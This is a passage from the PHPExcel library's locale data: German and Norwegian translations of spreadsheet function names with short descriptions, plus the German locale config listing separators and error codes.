WAHR zurück, wenn der Wert leer ist ISERR = ISTFEHL ## Gibt WAHR zurück, wenn der Wert ein beliebiger Fehlerwert außer #N/V ist ISERROR = ISTFEHLER ## Gibt WAHR zurück, wenn der Wert ein beliebiger Fehlerwert ist ISEVEN = ISTGERADE ## Gibt WAHR zurück, wenn es sich um eine gerade Zahl handelt ISLOGICAL = ISTLOG ## Gibt WAHR zurück, wenn der Wert ein Wahrheitswert ist ISNA = ISTNV ## Gibt WAHR zurück, wenn der Wert der Fehlerwert #N/V ist ISNONTEXT = ISTKTEXT ## Gibt WAHR zurück, wenn der Wert ein Element ist, das keinen Text enthält ISNUMBER = ISTZAHL ## Gibt WAHR zurück, wenn der Wert eine Zahl ist ISODD = ISTUNGERADE ## Gibt WAHR zurück, wenn es sich um eine ungerade Zahl handelt ISREF = ISTBEZUG ## Gibt WAHR zurück, wenn der Wert ein Bezug ist ISTEXT = ISTTEXT ## Gibt WAHR zurück, wenn der Wert ein Element ist, das Text enthält N = N ## Gibt den in eine Zahl umgewandelten Wert zurück NA = NV ## Gibt den Fehlerwert #NV zurück TYPE = TYP ## Gibt eine Zahl zurück, die den Datentyp des angegebenen Werts anzeigt ## ## Logical functions Logische Funktionen ## AND = UND ## Gibt WAHR zurück, wenn alle zugehörigen Argumente WAHR sind FALSE = FALSCH ## Gibt den Wahrheitswert FALSCH zurück IF = WENN ## Gibt einen logischen Test zum Ausführen an IFERROR = WENNFEHLER ## Gibt einen von Ihnen festgelegten Wert zurück, wenn die Auswertung der Formel zu einem Fehler führt; andernfalls wird das Ergebnis der Formel zurückgegeben NOT = NICHT ## Kehrt den Wahrheitswert der zugehörigen Argumente um OR = ODER ## Gibt WAHR zurück, wenn ein Argument WAHR ist TRUE = WAHR ## Gibt den Wahrheitswert WAHR zurück ## ## Lookup and reference functions Nachschlage- und Verweisfunktionen ## ADDRESS = ADRESSE ## Gibt einen Bezug auf eine einzelne Zelle in einem Tabellenblatt als Text zurück AREAS = BEREICHE ## Gibt die Anzahl der innerhalb eines Bezugs aufgeführten Bereiche zurück CHOOSE = WAHL ## Wählt einen Wert aus eine Liste mit Werten aus COLUMN = SPALTE ## Gibt die Spaltennummer eines Bezugs zurück COLUMNS = SPALTEN ## Gibt die Anzahl der Spalten in einem Bezug zurück HLOOKUP = HVERWEIS ## Sucht in der obersten Zeile einer Matrix und gibt den Wert der angegebenen Zelle zurück HYPERLINK = HYPERLINK ## Erstellt eine Verknüpfung, über die ein auf einem Netzwerkserver, in einem Intranet oder im Internet gespeichertes Dokument geöffnet wird INDEX = INDEX ## Verwendet einen Index, um einen Wert aus einem Bezug oder einer Matrix auszuwählen INDIRECT = INDIREKT ## Gibt einen Bezug zurück, der von einem Textwert angegeben wird LOOKUP = LOOKUP ## Sucht Werte in einem Vektor oder einer Matrix MATCH = VERGLEICH ## Sucht Werte in einem Bezug oder einer Matrix OFFSET = BEREICH.VERSCHIEBEN ## Gibt einen Bezugoffset aus einem gegebenen Bezug zurück ROW = ZEILE ## Gibt die Zeilennummer eines Bezugs zurück ROWS = ZEILEN ## Gibt die Anzahl der Zeilen in einem Bezug zurück RTD = RTD ## Ruft Echtzeitdaten von einem Programm ab, das die COM-Automatisierung (Automatisierung: Ein Verfahren, bei dem aus einer Anwendung oder einem Entwicklungstool heraus mit den Objekten einer anderen Anwendung gearbeitet wird. Die früher als OLE-Automatisierung bezeichnete Automatisierung ist ein Industriestandard und eine Funktion von COM (Component Object Model).) unterstützt TRANSPOSE = MTRANS ## Gibt die transponierte Matrix einer Matrix zurück VLOOKUP = SVERWEIS ## Sucht in der ersten Spalte einer Matrix und arbeitet sich durch die Zeile, um den Wert einer Zelle zurückzugeben ## ## Math and trigonometry functions Mathematische und trigonometrische Funktionen ## ABS = ABS ## Gibt den Absolutwert einer Zahl zurück ACOS = ARCCOS ## Gibt den Arkuskosinus einer Zahl zurück ACOSH = ARCCOSHYP ## Gibt den umgekehrten hyperbolischen Kosinus einer Zahl zurück ASIN = ARCSIN ## Gibt den Arkussinus einer Zahl zurück ASINH = ARCSINHYP ## Gibt den umgekehrten hyperbolischen Sinus einer Zahl zurück ATAN = ARCTAN ## Gibt den Arkustangens einer Zahl zurück ATAN2 = ARCTAN2 ## Gibt den Arkustangens einer x- und einer y-Koordinate zurück ATANH = ARCTANHYP ## Gibt den umgekehrten hyperbolischen Tangens einer Zahl zurück CEILING = OBERGRENZE ## Rundet eine Zahl auf die nächste ganze Zahl oder das nächste Vielfache von Schritt COMBIN = KOMBINATIONEN ## Gibt die Anzahl der Kombinationen für eine bestimmte Anzahl von Objekten zurück COS = COS ## Gibt den Kosinus einer Zahl zurück COSH = COSHYP ## Gibt den hyperbolischen Kosinus einer Zahl zurück DEGREES = GRAD ## Wandelt Bogenmaß (Radiant) in Grad um EVEN = GERADE ## Rundet eine Zahl auf die nächste gerade ganze Zahl auf EXP = EXP ## Potenziert die Basis e mit der als Argument angegebenen Zahl FACT = FAKULTÄT ## Gibt die Fakultät einer Zahl zurück FACTDOUBLE = ZWEIFAKULTÄT ## Gibt die Fakultät zu Zahl mit Schrittlänge 2 zurück FLOOR = UNTERGRENZE ## Rundet die Zahl auf Anzahl_Stellen ab GCD = GGT ## Gibt den größten gemeinsamen Teiler zurück INT = GANZZAHL ## Rundet eine Zahl auf die nächstkleinere ganze Zahl ab LCM = KGV ## Gibt das kleinste gemeinsame Vielfache zurück LN = LN ## Gibt den natürlichen Logarithmus einer Zahl zurück LOG = LOG ## Gibt den Logarithmus einer Zahl zu der angegebenen Basis zurück LOG10 = LOG10 ## Gibt den Logarithmus einer Zahl zur Basis 10 zurück MDETERM = MDET ## Gibt die Determinante einer Matrix zurück MINVERSE = MINV ## Gibt die inverse Matrix einer Matrix zurück MMULT = MMULT ## Gibt das Produkt zweier Matrizen zurück MOD = REST ## Gibt den Rest einer Division zurück MROUND = VRUNDEN ## Gibt eine auf das gewünschte Vielfache gerundete Zahl zurück MULTINOMIAL = POLYNOMIAL ## Gibt den Polynomialkoeffizienten einer Gruppe von Zahlen zurück ODD = UNGERADE ## Rundet eine Zahl auf die nächste ungerade ganze Zahl auf PI = PI ## Gibt den Wert Pi zurück POWER = POTENZ ## Gibt als Ergebnis eine potenzierte Zahl zurück PRODUCT = PRODUKT ## Multipliziert die zugehörigen Argumente QUOTIENT = QUOTIENT ## Gibt den ganzzahligen Anteil einer Division zurück RADIANS = BOGENMASS ## Wandelt Grad in Bogenmaß (Radiant) um RAND = ZUFALLSZAHL ## Gibt eine Zufallszahl zwischen 0 und 1 zurück RANDBETWEEN = ZUFALLSBEREICH ## Gibt eine Zufallszahl aus dem festgelegten Bereich zurück ROMAN = RÖMISCH ## Wandelt eine arabische Zahl in eine römische Zahl als Text um ROUND = RUNDEN ## Rundet eine Zahl auf eine bestimmte Anzahl von Dezimalstellen ROUNDDOWN = ABRUNDEN ## Rundet die Zahl auf Anzahl_Stellen ab ROUNDUP = AUFRUNDEN ## Rundet die Zahl auf Anzahl_Stellen auf SERIESSUM = POTENZREIHE ## Gibt die Summe von Potenzen (zur Berechnung von Potenzreihen und dichotomen Wahrscheinlichkeiten) zurück SIGN = VORZEICHEN ## Gibt das Vorzeichen einer Zahl zurück SIN = SIN ## Gibt den Sinus einer Zahl zurück SINH = SINHYP ## Gibt den hyperbolischen Sinus einer Zahl zurück SQRT = WURZEL ## Gibt die Quadratwurzel einer Zahl zurück SQRTPI = WURZELPI ## Gibt die Wurzel aus der mit Pi (pi) multiplizierten Zahl zurück SUBTOTAL = TEILERGEBNIS ## Gibt ein Teilergebnis in einer Liste oder Datenbank zurück SUM = SUMME ## Addiert die zugehörigen Argumente SUMIF = SUMMEWENN ## Addiert Zahlen, die mit den Suchkriterien übereinstimmen SUMIFS = SUMMEWENNS ## Die Zellen, die mehrere Kriterien erfüllen, werden in einem Bereich hinzugefügt SUMPRODUCT = SUMMENPRODUKT ## Gibt die Summe der Produkte zusammengehöriger Matrixkomponenten zurück SUMSQ = QUADRATESUMME ## Gibt die Summe der quadrierten Argumente zurück SUMX2MY2 = SUMMEX2MY2 ## Gibt die Summe der Differenzen der Quadrate für zusammengehörige Komponenten zweier Matrizen zurück SUMX2PY2 = SUMMEX2PY2 ## Gibt die Summe der Quadrate für zusammengehörige Komponenten zweier Matrizen zurück SUMXMY2 = SUMMEXMY2 ## Gibt die Summe der quadrierten Differenzen für zusammengehörige Komponenten zweier Matrizen zurück TAN = TAN ## Gibt den Tangens einer Zahl zurück TANH = TANHYP ## Gibt den hyperbolischen Tangens einer Zahl zurück TRUNC = KÜRZEN ## Schneidet die Kommastellen einer Zahl ab und gibt als Ergebnis eine ganze Zahl zurück ## ## Statistical functions Statistische Funktionen ## AVEDEV = MITTELABW ## Gibt die durchschnittliche absolute Abweichung einer Reihe von Merkmalsausprägungen und ihrem Mittelwert zurück AVERAGE = MITTELWERT ## Gibt den Mittelwert der zugehörigen Argumente zurück AVERAGEA = MITTELWERTA ## Gibt den Mittelwert der zugehörigen Argumente, die Zahlen, Text und Wahrheitswerte enthalten, zurück AVERAGEIF = MITTELWERTWENN ## Der Durchschnittswert (arithmetisches Mittel) für alle Zellen in einem Bereich, die einem angegebenen Kriterium entsprechen, wird zurückgegeben AVERAGEIFS = MITTELWERTWENNS ## Gibt den Durchschnittswert (arithmetisches Mittel) aller Zellen zurück, die mehreren Kriterien entsprechen BETADIST = BETAVERT ## Gibt die Werte der kumulierten Betaverteilungsfunktion zurück BETAINV = BETAINV ## Gibt das Quantil der angegebenen Betaverteilung zurück BINOMDIST = BINOMVERT ## Gibt Wahrscheinlichkeiten einer binomialverteilten Zufallsvariablen zurück CHIDIST = CHIVERT ## Gibt Werte der Verteilungsfunktion (1-Alpha) einer Chi-Quadrat-verteilten Zufallsgröße zurück CHIINV = CHIINV ## Gibt Quantile der Verteilungsfunktion (1-Alpha) der Chi-Quadrat-Verteilung zurück CHITEST = CHITEST ## Gibt die Teststatistik eines Unabhängigkeitstests zurück CONFIDENCE = KONFIDENZ ## Ermöglicht die Berechnung des 1-Alpha Konfidenzintervalls für den Erwartungswert einer Zufallsvariablen CORREL = KORREL ## Gibt den Korrelationskoeffizienten zweier Reihen von Merkmalsausprägungen zurück COUNT = ANZAHL ## Gibt die Anzahl der Zahlen in der Liste mit Argumenten an COUNTA = ANZAHL2 ## Gibt die Anzahl der Werte in der Liste mit Argumenten an COUNTBLANK = ANZAHLLEEREZELLEN ## Gibt die Anzahl der leeren Zellen in einem Bereich an COUNTIF = ZÄHLENWENN ## Gibt die Anzahl der Zellen in einem Bereich an, deren Inhalte mit den Suchkriterien übereinstimmen COUNTIFS = ZÄHLENWENNS ## Gibt die Anzahl der Zellen in einem Bereich an, deren Inhalte mit mehreren Suchkriterien übereinstimmen COVAR = KOVAR ## Gibt die Kovarianz zurück, den Mittelwert der für alle Datenpunktpaare gebildeten Produkte der Abweichungen CRITBINOM = KRITBINOM ## Gibt den kleinsten Wert zurück, für den die kumulierten Wahrscheinlichkeiten der Binomialverteilung kleiner oder gleich einer Grenzwahrscheinlichkeit sind DEVSQ = SUMQUADABW ## Gibt die Summe der quadrierten Abweichungen der Datenpunkte von ihrem Stichprobenmittelwert zurück EXPONDIST = EXPONVERT ## Gibt Wahrscheinlichkeiten einer exponential verteilten Zufallsvariablen zurück FDIST = FVERT ## Gibt Werte der Verteilungsfunktion (1-Alpha) einer F-verteilten Zufallsvariablen zurück FINV = FINV ## Gibt Quantile der F-Verteilung zurück FISHER = FISHER ## Gibt die Fisher-Transformation zurück FISHERINV = FISHERINV ## Gibt die Umkehrung der Fisher-Transformation zurück FORECAST = PROGNOSE ## Gibt einen Wert zurück, der sich aus einem linearen Trend ergibt FREQUENCY = HÄUFIGKEIT ## Gibt eine Häufigkeitsverteilung als vertikale Matrix zurück FTEST = FTEST ## Gibt die Teststatistik eines F-Tests zurück GAMMADIST = GAMMAVERT ## Gibt Wahrscheinlichkeiten einer gammaverteilten Zufallsvariablen zurück GAMMAINV = GAMMAINV ## Gibt Quantile der Gammaverteilung zurück GAMMALN = GAMMALN ## Gibt den natürlichen Logarithmus der Gammafunktion zurück, Γ(x) GEOMEAN = GEOMITTEL ## Gibt das geometrische Mittel zurück GROWTH = VARIATION ## Gibt Werte zurück, die sich aus einem exponentiellen Trend ergeben HARMEAN = HARMITTEL ## Gibt das harmonische Mittel zurück HYPGEOMDIST = HYPGEOMVERT ## Gibt Wahrscheinlichkeiten einer hypergeometrisch-verteilten Zufallsvariablen zurück INTERCEPT = ACHSENABSCHNITT ## Gibt den Schnittpunkt der Regressionsgeraden zurück KURT = KURT ## Gibt die Kurtosis (Exzess) einer Datengruppe zurück LARGE = KGRÖSSTE ## Gibt den k-größten Wert einer Datengruppe zurück LINEST = RGP ## Gibt die Parameter eines linearen Trends zurück LOGEST = RKP ## Gibt die Parameter eines exponentiellen Trends zurück LOGINV = LOGINV ## Gibt Quantile der Lognormalverteilung zurück LOGNORMDIST = LOGNORMVERT ## Gibt Werte der Verteilungsfunktion einer lognormalverteilten Zufallsvariablen zurück MAX = MAX ## Gibt den Maximalwert einer Liste mit Argumenten zurück MAXA = MAXA ## Gibt den Maximalwert einer Liste mit Argumenten zurück, die Zahlen, Text und Wahrheitswerte enthalten MEDIAN = MEDIAN ## Gibt den Median der angegebenen Zahlen zurück MIN = MIN ## Gibt den Minimalwert einer Liste mit Argumenten zurück MINA = MINA ## Gibt den kleinsten Wert einer Liste mit Argumenten zurück, die Zahlen, Text und Wahrheitswerte enthalten MODE = MODALWERT ## Gibt den am häufigsten vorkommenden Wert in einer Datengruppe zurück NEGBINOMDIST = NEGBINOMVERT ## Gibt Wahrscheinlichkeiten einer negativen, binominal verteilten Zufallsvariablen zurück NORMDIST = NORMVERT ## Gibt Wahrscheinlichkeiten einer normal verteilten Zufallsvariablen zurück NORMINV = NORMINV ## Gibt Quantile der Normalverteilung zurück NORMSDIST = STANDNORMVERT ## Gibt Werte der Verteilungsfunktion einer standardnormalverteilten Zufallsvariablen zurück NORMSINV = STANDNORMINV ## Gibt Quantile der Standardnormalverteilung zurück PEARSON = PEARSON ## Gibt den Pearsonschen Korrelationskoeffizienten zurück PERCENTILE = QUANTIL ## Gibt das Alpha-Quantil einer Gruppe von Daten zurück PERCENTRANK = QUANTILSRANG ## Gibt den prozentualen Rang (Alpha) eines Werts in einer Datengruppe zurück PERMUT = VARIATIONEN ## Gibt die Anzahl der Möglichkeiten zurück, um k Elemente aus einer Menge von n Elementen ohne Zurücklegen zu ziehen POISSON = POISSON ## Gibt Wahrscheinlichkeiten einer poissonverteilten Zufallsvariablen zurück PROB = WAHRSCHBEREICH ## Gibt die Wahrscheinlichkeit für ein von zwei Werten eingeschlossenes Intervall zurück QUARTILE = QUARTILE ## Gibt die Quartile der Datengruppe zurück RANK = RANG ## Gibt den Rang zurück, den eine Zahl innerhalb einer Liste von Zahlen einnimmt RSQ = BESTIMMTHEITSMASS ## Gibt das Quadrat des Pearsonschen Korrelationskoeffizienten zurück SKEW = SCHIEFE ## Gibt die Schiefe einer Verteilung zurück SLOPE = STEIGUNG ## Gibt die Steigung der Regressionsgeraden zurück SMALL = KKLEINSTE ## Gibt den k-kleinsten Wert einer Datengruppe zurück STANDARDIZE = STANDARDISIERUNG ## Gibt den standardisierten Wert zurück STDEV = STABW ## Schätzt die Standardabweichung ausgehend von einer Stichprobe STDEVA = STABWA ## Schätzt die Standardabweichung ausgehend von einer Stichprobe, die Zahlen, Text und Wahrheitswerte enthält STDEVP = STABWN ## Berechnet die Standardabweichung ausgehend von der Grundgesamtheit STDEVPA = STABWNA ## Berechnet die Standardabweichung ausgehend von der Grundgesamtheit, die Zahlen, Text und Wahrheitswerte enthält STEYX = STFEHLERYX ## Gibt den Standardfehler der geschätzten y-Werte für alle x-Werte der Regression zurück TDIST = TVERT ## Gibt Werte der Verteilungsfunktion (1-Alpha) einer (Student) t-verteilten Zufallsvariablen zurück TINV = TINV ## Gibt Quantile der t-Verteilung zurück TREND = TREND ## Gibt Werte zurück, die sich aus einem linearen Trend ergeben TRIMMEAN = GESTUTZTMITTEL ## Gibt den Mittelwert einer Datengruppe zurück, ohne die Randwerte zu berücksichtigen TTEST = TTEST ## Gibt die Teststatistik eines Student'schen t-Tests zurück VAR = VARIANZ ## Schätzt die Varianz ausgehend von einer Stichprobe VARA = VARIANZA ## Schätzt die Varianz ausgehend von einer Stichprobe, die Zahlen, Text und Wahrheitswerte enthält VARP = VARIANZEN ## Berechnet die Varianz ausgehend von der Grundgesamtheit VARPA = VARIANZENA ## Berechnet die Varianz ausgehend von der Grundgesamtheit, die Zahlen, Text und Wahrheitswerte enthält WEIBULL = WEIBULL ## Gibt Wahrscheinlichkeiten einer weibullverteilten Zufallsvariablen zurück ZTEST = GTEST ## Gibt den einseitigen Wahrscheinlichkeitswert für einen Gausstest (Normalverteilung) zurück ## ## Text functions Textfunktionen ## ASC = ASC ## Konvertiert DB-Text in einer Zeichenfolge (lateinische Buchstaben oder Katakana) in SB-Text BAHTTEXT = BAHTTEXT ## Wandelt eine Zahl in Text im Währungsformat ß (Baht) um CHAR = ZEICHEN ## Gibt das der Codezahl entsprechende Zeichen zurück CLEAN = SÄUBERN ## Löscht alle nicht druckbaren Zeichen aus einem Text CODE = CODE ## Gibt die Codezahl des ersten Zeichens in einem Text zurück CONCATENATE = VERKETTEN ## Verknüpft mehrere Textelemente zu einem Textelement DOLLAR = DM ## Wandelt eine Zahl in Text im Währungsformat € (Euro) um EXACT = IDENTISCH ## Prüft, ob zwei Textwerte identisch sind FIND = FINDEN ## Sucht nach einem Textwert, der in einem anderen Textwert enthalten ist (Groß-/Kleinschreibung wird unterschieden) FINDB = FINDENB ## Sucht nach einem Textwert, der in einem anderen Textwert enthalten ist (Groß-/Kleinschreibung wird unterschieden) FIXED = FEST ## Formatiert eine Zahl als Text mit einer festen Anzahl von Dezimalstellen JIS = JIS ## Konvertiert SB-Text in einer Zeichenfolge (lateinische Buchstaben oder Katakana) in DB-Text LEFT = LINKS ## Gibt die Zeichen ganz links in einem Textwert zurück LEFTB = LINKSB ## Gibt die Zeichen ganz links in einem Textwert zurück LEN = LÄNGE ## Gibt die Anzahl der Zeichen in einer Zeichenfolge zurück LENB = LÄNGEB ## Gibt die Anzahl der Zeichen in einer Zeichenfolge zurück LOWER = KLEIN ## Wandelt Text in Kleinbuchstaben um MID = TEIL ## Gibt eine bestimmte Anzahl Zeichen aus einer Zeichenfolge ab der von Ihnen angegebenen Stelle zurück MIDB = TEILB ## Gibt eine bestimmte Anzahl Zeichen aus einer Zeichenfolge ab der von Ihnen angegebenen Stelle zurück PHONETIC = PHONETIC ## Extrahiert die phonetischen (Furigana-)Zeichen aus einer Textzeichenfolge PROPER = GROSS2 ## Wandelt den ersten Buchstaben aller Wörter eines Textwerts in Großbuchstaben um REPLACE = ERSETZEN ## Ersetzt Zeichen in Text REPLACEB = ERSETZENB ## Ersetzt Zeichen in Text REPT = WIEDERHOLEN ## Wiederholt einen Text so oft wie angegeben RIGHT = RECHTS ## Gibt die Zeichen ganz rechts in einem Textwert zurück RIGHTB = RECHTSB ## Gibt die Zeichen ganz rechts in einem Textwert zurück SEARCH = SUCHEN ## Sucht nach einem Textwert, der in einem anderen Textwert enthalten ist (Groß-/Kleinschreibung wird nicht unterschieden) SEARCHB = SUCHENB ## Sucht nach einem Textwert, der in einem anderen Textwert enthalten ist (Groß-/Kleinschreibung wird nicht unterschieden) SUBSTITUTE = WECHSELN ## Ersetzt in einer Zeichenfolge neuen Text gegen alten T = T ## Wandelt die zugehörigen Argumente in Text um TEXT = TEXT ## Formatiert eine Zahl und wandelt sie in Text um TRIM = GLÄTTEN ## Entfernt Leerzeichen aus Text UPPER = GROSS ## Wandelt Text in Großbuchstaben um VALUE = WERT ## Wandelt ein Textargument in eine Zahl um PHPExcel/locale/de/config 0000644 00000002454 14642534110 0011200 0 ustar 00 ## ## PHPExcel ## ## Copyright (c) 2006 - 2013 PHPExcel ## ## This library is free software; you can redistribute it and/or ## modify it under the terms of the GNU Lesser General Public ## License as published by the Free Software Foundation; either ## version 2.1 of the License, or (at your option) any later version. ## ## This library is distributed in the hope that it will be useful, ## but WITHOUT ANY WARRANTY; without even the implied warranty of ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## Lesser General Public License for more details. ## ## You should have received a copy of the GNU Lesser General Public ## License along with this library; if not, write to the Free Software ## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## ## @category PHPExcel ## @package PHPExcel_Settings ## @copyright Copyright (c) 2006 - 2013 PHPExcel (http://www.codeplex.com/PHPExcel) ## @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL ## @version ##VERSION##, ##DATE## ## ## ArgumentSeparator = ; ## ## (For future use) ## currencySymbol = € ## ## Excel Error Codes (For future use) ## NULL = #NULL! DIV0 = #DIV/0! VALUE = #WERT! REF = #BEZUG! NAME = #NAME? NUM = #ZAHL! NA = #NV PHPExcel/locale/no/functions 0000644 00000077566 14642534110 0012007 0 ustar 00 ## ## PHPExcel ## ## Copyright (c) 2006 - 2013 PHPExcel ## ## This library is free software; you can redistribute it and/or ## modify it under the terms of the GNU Lesser General Public ## License as published by the Free Software Foundation; either ## version 2.1 of the License, or (at your option) any later version. ## ## This library is distributed in the hope that it will be useful, ## but WITHOUT ANY WARRANTY; without even the implied warranty of ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## Lesser General Public License for more details. ## ## You should have received a copy of the GNU Lesser General Public ## License along with this library; if not, write to the Free Software ## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## ## @category PHPExcel ## @package PHPExcel_Calculation ## @copyright Copyright (c) 2006 - 2013 PHPExcel (http://www.codeplex.com/PHPExcel) ## @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL ## @version ##VERSION##, ##DATE## ## ## Data in this file derived from http://www.piuha.fi/excel-function-name-translation/ ## ## ## ## Add-in and Automation functions Funksjonene Tillegg og Automatisering ## GETPIVOTDATA = HENTPIVOTDATA ## Returnerer data som er lagret i en pivottabellrapport ## ## Cube functions Kubefunksjoner ## CUBEKPIMEMBER = KUBEKPIMEDLEM ## Returnerer navnet, egenskapen og målet for en viktig ytelsesindikator (KPI), og viser navnet og egenskapen i cellen. En KPI er en målbar enhet, for eksempel månedlig bruttoinntjening eller kvartalsvis inntjening per ansatt, og brukes til å overvåke ytelsen i en organisasjon. CUBEMEMBER = KUBEMEDLEM ## Returnerer et medlem eller en tuppel i et kubehierarki. Brukes til å validere at medlemmet eller tuppelen finnes i kuben. CUBEMEMBERPROPERTY = KUBEMEDLEMEGENSKAP ## Returnerer verdien til en medlemsegenskap i kuben. Brukes til å validere at et medlemsnavn finnes i kuben, og til å returnere den angitte egenskapen for dette medlemmet. CUBERANKEDMEMBER = KUBERANGERTMEDLEM ## Returnerer det n-te, eller rangerte, medlemmet i et sett. Brukes til å returnere ett eller flere elementer i et sett, for eksempel de 10 beste studentene. CUBESET = KUBESETT ## Definerer et beregnet sett av medlemmer eller tuppeler ved å sende et settuttrykk til kuben på serveren, noe som oppretter settet og deretter returnerer dette settet til Microsoft Office Excel. CUBESETCOUNT = KUBESETTANTALL ## Returnerer antallet elementer i et sett. CUBEVALUE = KUBEVERDI ## Returnerer en aggregert verdi fra en kube. ## ## Database functions Databasefunksjoner ## DAVERAGE = DGJENNOMSNITT ## Returnerer gjennomsnittet av merkede databaseposter DCOUNT = DANTALL ## Teller celler som inneholder tall i en database DCOUNTA = DANTALLA ## Teller celler som ikke er tomme i en database DGET = DHENT ## Trekker ut fra en database en post som oppfyller angitte vilkår DMAX = DMAKS ## Returnerer maksimumsverdien fra merkede databaseposter DMIN = DMIN ## Returnerer minimumsverdien fra merkede databaseposter DPRODUCT = DPRODUKT ## Multipliserer verdiene i et bestemt felt med poster som oppfyller vilkårene i en database DSTDEV = DSTDAV ## Estimerer standardavviket basert på et utvalg av merkede databaseposter DSTDEVP = DSTAVP ## Beregner standardavviket basert på at merkede databaseposter utgjør hele populasjonen DSUM = DSUMMER ## Legger til tallene i feltkolonnen med poster, i databasen som oppfyller vilkårene DVAR = DVARIANS ## Estimerer variansen basert på et utvalg av merkede databaseposter DVARP = DVARIANSP ## Beregner variansen basert på at merkede databaseposter utgjør hele populasjonen ## ## Date and time functions Dato- og tidsfunksjoner ## DATE = DATO ## Returnerer serienummeret som svarer til en bestemt dato DATEVALUE = DATOVERDI ## Konverterer en dato med tekstformat til et serienummer DAY = DAG ## Konverterer et serienummer til en dag i måneden DAYS360 = DAGER360 ## Beregner antall dager mellom to datoer basert på et år med 360 dager EDATE = DAG.ETTER ## Returnerer serienummeret som svarer til datoen som er det indikerte antall måneder før eller etter startdatoen EOMONTH = MÅNEDSSLUTT ## Returnerer serienummeret som svarer til siste dag i måneden, før eller etter et angitt antall måneder HOUR = TIME ## Konverterer et serienummer til en time MINUTE = MINUTT ## Konverterer et serienummer til et minutt MONTH = MÅNED ## Konverterer et serienummer til en måned NETWORKDAYS = NETT.ARBEIDSDAGER ## Returnerer antall hele arbeidsdager mellom to datoer NOW = NÅ ## Returnerer serienummeret som svarer til gjeldende dato og klokkeslett SECOND = SEKUND ## Konverterer et serienummer til et sekund TIME = TID ## Returnerer serienummeret som svarer til et bestemt klokkeslett TIMEVALUE = TIDSVERDI ## Konverterer et klokkeslett i tekstformat til et serienummer TODAY = IDAG ## Returnerer serienummeret som svarer til dagens dato WEEKDAY = UKEDAG ## Konverterer et serienummer til en ukedag WEEKNUM = UKENR ## Konverterer et serienummer til et tall som representerer hvilket nummer uken har i et år WORKDAY = ARBEIDSDAG ## Returnerer serienummeret som svarer til datoen før eller etter et angitt antall arbeidsdager YEAR = ÅR ## Konverterer et serienummer til et år YEARFRAC = ÅRDEL ## Returnerer brøkdelen for året, som svarer til antall hele dager mellom startdato og sluttdato ## ## Engineering functions Tekniske funksjoner ## BESSELI = BESSELI ## Returnerer den endrede Bessel-funksjonen In(x) BESSELJ = BESSELJ ## Returnerer Bessel-funksjonen Jn(x) BESSELK = BESSELK ## Returnerer den endrede Bessel-funksjonen Kn(x) BESSELY = BESSELY ## Returnerer Bessel-funksjonen Yn(x) BIN2DEC = BINTILDES ## Konverterer et binært tall til et desimaltall BIN2HEX = BINTILHEKS ## Konverterer et binært tall til et heksadesimaltall BIN2OCT = BINTILOKT ## Konverterer et binært tall til et oktaltall COMPLEX = KOMPLEKS ## Konverterer reelle og imaginære koeffisienter til et komplekst tall CONVERT = KONVERTER ## Konverterer et tall fra ett målsystem til et annet DEC2BIN = DESTILBIN ## Konverterer et desimaltall til et binærtall DEC2HEX = DESTILHEKS ## Konverterer et heltall i 10-tallsystemet til et heksadesimalt tall DEC2OCT = DESTILOKT ## Konverterer et heltall i 10-tallsystemet til et oktaltall DELTA = DELTA ## Undersøker om to verdier er like ERF = FEILF ## Returnerer feilfunksjonen ERFC = FEILFK ## Returnerer den komplementære feilfunksjonen GESTEP = GRENSEVERDI ## Tester om et tall er større enn en terskelverdi HEX2BIN = HEKSTILBIN ## Konverterer et heksadesimaltall til et binært tall HEX2DEC = HEKSTILDES ## Konverterer et heksadesimalt tall til et heltall i 10-tallsystemet HEX2OCT = HEKSTILOKT ## Konverterer et heksadesimalt tall til et oktaltall IMABS = IMABS ## Returnerer absoluttverdien (koeffisienten) til et komplekst tall IMAGINARY = IMAGINÆR ## Returnerer den imaginære koeffisienten til et komplekst tall IMARGUMENT = IMARGUMENT ## Returnerer argumentet theta, som er en vinkel uttrykt i radianer IMCONJUGATE = IMKONJUGERT ## Returnerer den komplekse konjugaten til et komplekst tall IMCOS = IMCOS ## Returnerer cosinus til et komplekst tall IMDIV = IMDIV ## Returnerer kvotienten til to komplekse tall IMEXP = IMEKSP ## Returnerer eksponenten til et komplekst tall IMLN = IMLN ## Returnerer den naturlige logaritmen for et komplekst tall IMLOG10 = IMLOG10 ## Returnerer logaritmen med grunntall 10 for et komplekst tall IMLOG2 = IMLOG2 ## Returnerer logaritmen med grunntall 2 for et komplekst tall IMPOWER = IMOPPHØY ## Returnerer et komplekst tall opphøyd til en heltallspotens IMPRODUCT = IMPRODUKT ## Returnerer produktet av komplekse tall IMREAL = IMREELL ## Returnerer den reelle koeffisienten til et komplekst tall IMSIN = IMSIN ## Returnerer sinus til et komplekst tall IMSQRT = IMROT ## Returnerer kvadratroten av et komplekst tall IMSUB = IMSUB ## Returnerer differansen mellom to komplekse tall IMSUM = IMSUMMER ## Returnerer summen av komplekse tall OCT2BIN = OKTTILBIN ## Konverterer et oktaltall til et binært tall OCT2DEC = OKTTILDES ## Konverterer et oktaltall til et desimaltall OCT2HEX = OKTTILHEKS ## Konverterer et oktaltall til et heksadesimaltall ## ## Financial functions Økonomiske funksjoner ## ACCRINT = PÅLØPT.PERIODISK.RENTE ## Returnerer påløpte renter for et verdipapir som betaler periodisk rente ACCRINTM = PÅLØPT.FORFALLSRENTE ## Returnerer den påløpte renten for et verdipapir som betaler rente ved forfall AMORDEGRC = AMORDEGRC ## Returnerer avskrivningen for hver regnskapsperiode ved hjelp av en avskrivingskoeffisient AMORLINC = AMORLINC ## Returnerer avskrivingen for hver regnskapsperiode COUPDAYBS = OBLIG.DAGER.FF ## Returnerer antall dager fra begynnelsen av den rentebærende perioden til innløsningsdatoen COUPDAYS = OBLIG.DAGER ## Returnerer antall dager i den rentebærende perioden som inneholder innløsningsdatoen COUPDAYSNC = OBLIG.DAGER.NF ## Returnerer antall dager fra betalingsdato til neste renteinnbetalingsdato COUPNCD = OBLIG.DAGER.EF ## Returnerer obligasjonsdatoen som kommer etter oppgjørsdatoen COUPNUM = 